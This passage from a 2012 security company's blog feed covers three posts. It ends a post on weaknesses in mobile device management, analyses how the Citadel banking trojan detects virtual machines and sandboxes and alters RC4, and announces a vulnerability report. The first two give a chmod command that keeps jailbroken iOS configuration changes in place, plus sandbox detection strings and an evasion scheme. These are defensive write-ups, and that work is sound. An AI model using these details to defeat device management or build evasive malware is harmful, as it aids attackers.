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" width="640" /&gt;&lt;br /&gt;
&lt;br /&gt;
These changes sometimes disappear when a change in a configuration profile is applied, since these files are overwritten. But… what if we just don’t allow this overwrite?&lt;br /&gt;
&lt;br /&gt;
# chmod -w -R /private/var/mobile/Library/ConfigurationProfiles&lt;br /&gt;
&lt;br /&gt;
Of course, Jailbreaking your iOS is mandatory for all these techniques, so MDM software usually try to detect and block jailbreaked devices. Sadly, they mostly use a too easy approach such as looking for an installed application called Cydia, which is the most common alternative “App Store”. As a consequence, you can bypass this kind of jailbreak detection easily, just by renaming an application or making other similar changes.&lt;br /&gt;
&lt;br /&gt;
Summarizing, Mobile Devices should be protected since they sometimes handle highly critical information, but most security software (such as MDM) is not as useful as it should. Be careful when designing and deploying your Mobile Device protections, choose a proper software provider and set it up in detail. If not, it can turn in a waste of time and money.&lt;br /&gt;
&lt;br /&gt;
Jose Selvi&lt;br /&gt;
Dept. ACSS S21sec&lt;br /&gt;
&lt;a href="http://twitter.com/#%21/joseselvi"&gt;Twitter&lt;/a&gt; / &lt;a href="http://www.pentester.es/"&gt;Blog&lt;/a&gt; &lt;br /&gt;
&lt;br /&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/Y-vO5pX6fkU" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/6411167162715903098/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=6411167162715903098" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/6411167162715903098?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/6411167162715903098?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/Y-vO5pX6fkU/mobile-device-management-security.html" title="Mobile Device Management Security" /><author><name>Auditoría S21sec</name><uri>http://www.blogger.com/profile/08735505287602105966</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2012/09/mobile-device-management-security.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0UDQXo9fCp7ImA9WhJTGEo.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-5578339165959636290</id><published>2012-06-28T02:21:00.000-07:00</published><updated>2012-06-28T02:21:10.464-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-06-28T02:21:10.464-07:00</app:edited><title>Citadel Updates: Anti-VM and Encryption change</title><content type="html">&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;
While analyzing the latest version of Citadel (1.3.4.5) we were able to observe two changes that try to make malware analysts' life harder. These changes also had been announced on a particular underground forum before they appeared in the wild.&lt;/div&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-N2w_HpHlyN8/T-wggwPr5QI/AAAAAAAABAE/xTF8ENRUcZw/s1600/pic1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="284" src="http://1.bp.blogspot.com/-N2w_HpHlyN8/T-wggwPr5QI/AAAAAAAABAE/xTF8ENRUcZw/s640/pic1.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;
&lt;span style="background-color: white;"&gt;[+] Added anti-emulator, which allows you to protect your botnet from reversing and getting into trackers. When it starts, a built-in detective checks if it is running in a virtual machine or in sandboxed environment (CWSandbox, VMware, Virtualbox), and if it is the case, it starts to behave differently and your botnet go unnoticed. Details were not disclosed, and the technology is very tricky.&lt;/span&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div style="text-align: justify;"&gt;
Although they did not disclose any specific details about how the so called detection actually works, we could inspect it a bit further. It simply scans through the resources of the currently running processes and looks for specific patterns for instance inside the "CompanyName" field, such like:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
*vmware*&lt;/div&gt;
&lt;div&gt;
*sandbox*&lt;/div&gt;
&lt;div&gt;
*virtualbox*&lt;/div&gt;
&lt;div&gt;
*geswall*&lt;/div&gt;
&lt;div&gt;
*bufferzone*&lt;/div&gt;
&lt;div&gt;
*safespace*&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Nevertheless, the tricky part comes here. When a virtualized environment detected, unlike many other Trojans that stop to work, Citadel will continue to operate, but behaves in a different manner. It will generate a unique-machine dependent domain name (obviously fake) and tries to connect to this server (unsuccessfully), making it to believe that the bot is dead and its command and control server is offline, meanwhile the real C&amp;amp;C domain is kept hidden. You can distinguish between the fake ones because the way they are generated, they look like an md5 hash itself, the C-style format string used is:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
http://%02x%02x%02x%02x%02x%02x%02x%02x.com/%02x%02x%02x%02x/%02x%02x%02x%02x.php&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
If we run a Citadel sample of this kind in a VMWare environment, closing all processes related to VMware (vmwareuser.exe, vmwaretray.exe, ...) will be enough to force Citadel to act normally as if it were running in a physical machine.&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Instead of showing Olly or Ida screenshots, we are going to take a different approach. Let's take a dummy application like notepad and replace the company name with a resource editor such like Resource Hacker.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-4EO0bz-_894/T-wgi8NookI/AAAAAAAABAM/XQo-Xigo56k/s1600/pic2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="284" src="http://1.bp.blogspot.com/-4EO0bz-_894/T-wgi8NookI/AAAAAAAABAM/XQo-Xigo56k/s640/pic2.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div style="text-align: justify;"&gt;
Doing this, if we run notepad, it will result in a fake infection and the malware will create the fake domain (first DNS query in the image), and if we run the Citadel sample without the altered version of notepad we are going to connect to the real C&amp;amp;C (second DNS query).&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-JHe9yzb9u7Y/T-wgj-vCtPI/AAAAAAAABAQ/tVpx6ZsUBF4/s1600/pic3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="88" src="http://4.bp.blogspot.com/-JHe9yzb9u7Y/T-wgj-vCtPI/AAAAAAAABAQ/tVpx6ZsUBF4/s640/pic3.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
The another change that has an impact is the slightly modified RC4 algorithm. In altered one, the malware involves an internal "hash" within the algorithm.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-H7l-ngqm6I0/T-wgkmCLc3I/AAAAAAAABAc/Wj_MV-z-BQ0/s1600/pic4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="521" src="http://1.bp.blogspot.com/-H7l-ngqm6I0/T-wgkmCLc3I/AAAAAAAABAc/Wj_MV-z-BQ0/s640/pic4.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
While computing the stream cipher, in addition to the normal XOR operations of RC4, in each iteration the value is XORed with &amp;nbsp;hash string's characters in a consecutive way.&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
The change in the RC4 algorithm affects also how the Trojan communicates with its control panel, due to the same algorithm is used to encrypt network traffic. Therefore the new control panel won't be able to handle connections coming from older versions of the bot.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;Mikel Gastesi &amp;amp; Jozsef Gegeny&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;S21sec ACSS&lt;/i&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/_mQE8DF82yw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/5578339165959636290/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=5578339165959636290" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/5578339165959636290?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/5578339165959636290?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/_mQE8DF82yw/citadel-updates-anti-vm-and-encryption.html" title="Citadel Updates: Anti-VM and Encryption change" /><author><name>S21sec e-crime</name><uri>http://www.blogger.com/profile/13161855171218670746</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-N2w_HpHlyN8/T-wggwPr5QI/AAAAAAAABAE/xTF8ENRUcZw/s72-c/pic1.png" height="72" width="72" /><thr:total>2</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2012/06/citadel-updates-anti-vm-and-encryption.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkQBRXg5eip7ImA9WhVSF08.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-8291316852513319400</id><published>2012-03-14T01:31:00.000-07:00</published><updated>2012-03-14T03:19:14.622-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-03-14T03:19:14.622-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Fraud" /><category scheme="http://www.blogger.com/atom/ns#" term="Malware" /><category scheme="http://www.blogger.com/atom/ns#" term="Vulnerabilities" /><title>S21sec detects almost 7,000 vulnerabilities en 2011</title><content type="html">&lt;div style="border-bottom: medium none; border-left: medium none; border-right: medium none; border-top: medium none; text-align: justify;"&gt;
&lt;div style="border-bottom: medium none; border-left: medium none; border-right: medium none; border-top: medium none;"&gt;
&lt;a href="http://2.bp.blogspot.com/-w713vCz99vo/T19ikwSSVII/AAAAAAAAAbc/gFhsAe6Njlo/s1600/grafico_vulnerabilidad_meses_2011_en.jpg" imageanchor="1" style="clear: left; cssfloat: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;span style="font-family: inherit; font-size: small;"&gt;&lt;img aea="true" border="0" height="162" src="http://2.bp.blogspot.com/-w713vCz99vo/T19ikwSSVII/AAAAAAAAAbc/gFhsAe6Njlo/s320/grafico_vulnerabilidad_meses_2011_en.jpg" width="320" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family: inherit;"&gt;S21sec presents its first ‘&lt;/span&gt;&lt;a href="http://www.s21sec.com/prensa.aspx?sec=4&amp;amp;ntc=503#503"&gt;&lt;span style="font-family: inherit;"&gt;Vulnerability Report’&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family: inherit;"&gt; prepared by the Ecrime team integrating the experts of the company in charge of detecting and resolving Internet offences affecting organisations 24 hours a day, 365 days a year. This report gathers the information on vulnerabilities detected by S21sec during this last decade, from 2001 to December 2011, and it intends to build an image of the main threats currently affecting companies and institutions, as well as users.&lt;/span&gt;&lt;/div&gt;
&lt;div style="border-bottom: medium none; border-left: medium none; border-right: medium none; border-top: medium none;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="border-bottom: medium none; border-left: medium none; border-right: medium none; border-top: medium none;"&gt;
&lt;span style="font-family: inherit;"&gt;This ‘Vulnerability Report’ includes all the vulnerabilities detected during the last year. 2011 has been a year marked by the appearance of a large number of high-risk vulnerabilities and&amp;nbsp;&lt;span lang="EN-GB" style="mso-ansi-language: EN-GB;"&gt;the number of vulnerabilities remained relatively constant between months, except for March. The third month of the year registered a high number of vulnerabilities on Apple software which affected a large number of their products, such as iTunes, Safari, Apple IIOS, Mac OSX and iPhones IOS, among others.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="separator" style="border-bottom: medium none; border-left: medium none; border-right: medium none; border-top: medium none; clear: both; text-align: center;"&gt;
&lt;span style="border-bottom: medium none; border-left: medium none; border-right: medium none; border-top: medium none; font-family: inherit; margin-left: 1em; margin-right: 1em;"&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style="border-bottom: medium none; border-left: medium none; border-right: medium none; border-top: medium none;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="border-bottom: medium none; border-left: medium none; border-right: medium none; border-top: medium none; text-align: justify;"&gt;
&lt;span lang="EN-GB" style="font-size: 10pt; mso-ansi-language: EN-GB;"&gt;&lt;span style="font-family: inherit; font-size: small;"&gt;We have detected an increase of vulnerabilities during 2011, with growing remote exploitation of vulnerabilities and a sophistication of industry-oriented Trojans such as the case of Stuxnet or Duqu. However, a changing tendency can be observed in browsers where a change can be seen in the exploitation of vulnerabilities from Firefox to Chrome as the latter is reaching the highest market share.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoListParagraph" style="border-bottom: medium none; border-left: medium none; border-right: medium none; border-top: medium none; line-height: normal; margin: 0cm 0cm 0pt; text-align: justify;"&gt;
&lt;a href="http://2.bp.blogspot.com/-0z08ZEGBBvc/T2BWLt9EA9I/AAAAAAAAAbs/WTnAgoGOcL8/s1600/grafico_vulnerabilidad_navegador_2011_en.jpg" imageanchor="1" style="clear: right; cssfloat: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img aea="true" border="0" height="235" src="http://2.bp.blogspot.com/-0z08ZEGBBvc/T2BWLt9EA9I/AAAAAAAAAbs/WTnAgoGOcL8/s320/grafico_vulnerabilidad_navegador_2011_en.jpg" width="320" /&gt;&lt;/a&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;span style="font-family: inherit;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: inherit; font-size: small;"&gt;During this year&amp;nbsp;we will still see increasing vulnerabilities to mobile devices with operating systems such as Android or iPhone OS. There are currently 5,600 million mobiles in use (around 77% of the world population has one), amongst which 468 million are Smartphones and this number is estimated to reach 631 million by 2015, thus, logically, the risk of vulnerabilities will also increase to more users and more devices. &lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoListParagraph" style="border-bottom: medium none; border-left: medium none; border-right: medium none; border-top: medium none; line-height: normal; margin: 0cm 0cm 0pt; text-align: justify;"&gt;
&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;span style="font-family: inherit;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoListParagraph" style="border-bottom: medium none; border-left: medium none; border-right: medium none; border-top: medium none; line-height: normal; margin: 0cm 0cm 0pt; text-align: justify;"&gt;
&lt;span style="font-size: small;"&gt;&lt;span style="font-family: inherit;"&gt;&lt;span lang="EN-GB" style="color: #1c1c1c; font-size: 10pt; mso-ansi-language: EN-GB; mso-bidi-language: AR-SA; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: ES;"&gt;This &lt;b style="mso-bidi-font-weight: normal;"&gt;‘Vulnerability Report’&lt;/b&gt;, prepared by the &lt;b style="mso-bidi-font-weight: normal;"&gt;S21sec&lt;/b&gt; &lt;b style="mso-bidi-font-weight: normal;"&gt;Ecrime unit&lt;/b&gt;, can be downloaded &lt;a href="http://www.s21sec.com/descargas/Informe%20Vulnerabilidades%202011.pdf"&gt;here.&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoListParagraph" style="border-bottom: medium none; border-left: medium none; border-right: medium none; border-top: medium none; line-height: normal; margin: 0cm 0cm 0pt; text-align: justify;"&gt;
&lt;span style="color: #1c1c1c; font-size: 11pt; mso-ansi-language: ES; mso-bidi-font-family: &amp;quot;Times New Roman&amp;quot;; mso-bidi-font-size: 12.0pt; mso-bidi-language: AR-SA; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: ES;"&gt;&lt;span style="font-family: inherit; font-size: small;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoListParagraph" style="border-bottom: medium none; border-left: medium none; border-right: medium none; border-top: medium none; line-height: normal; margin: 0cm 0cm 0pt; text-align: justify;"&gt;
&lt;span style="font-family: inherit;"&gt;&amp;nbsp; &lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoListParagraph" style="border-bottom: medium none; border-left: medium none; border-right: medium none; border-top: medium none; line-height: normal; margin: 0cm 0cm 0pt; text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="MsoListParagraph" style="border-bottom: medium none; border-left: medium none; border-right: medium none; border-top: medium none; line-height: normal; margin: 0cm 0cm 0pt; text-align: justify;"&gt;
&lt;span style="color: #1c1c1c; font-size: 11pt; mso-ansi-language: ES; mso-bidi-font-family: &amp;quot;Times New Roman&amp;quot;; mso-bidi-font-size: 12.0pt; mso-bidi-language: AR-SA; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: ES;"&gt;&lt;em&gt;&lt;span style="font-family: inherit; font-size: small;"&gt;S21sec&lt;/span&gt;&lt;/em&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style="border-bottom: medium none; border-left: medium none; border-right: medium none; border-top: medium none; text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/Nt2b8B4rUx4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/8291316852513319400/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=8291316852513319400" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/8291316852513319400?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/8291316852513319400?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/Nt2b8B4rUx4/s21sec-detects-almost-7000.html" title="S21sec detects almost 7,000 vulnerabilities en 2011" /><author><name>S21sec</name><uri>http://www.blogger.com/profile/12912354041276652911</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-w713vCz99vo/T19ikwSSVII/AAAAAAAAAbc/gFhsAe6Njlo/s72-c/grafico_vulnerabilidad_meses_2011_en.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2012/03/s21sec-detects-almost-7000.html</feedburner:origLink></entry><entry 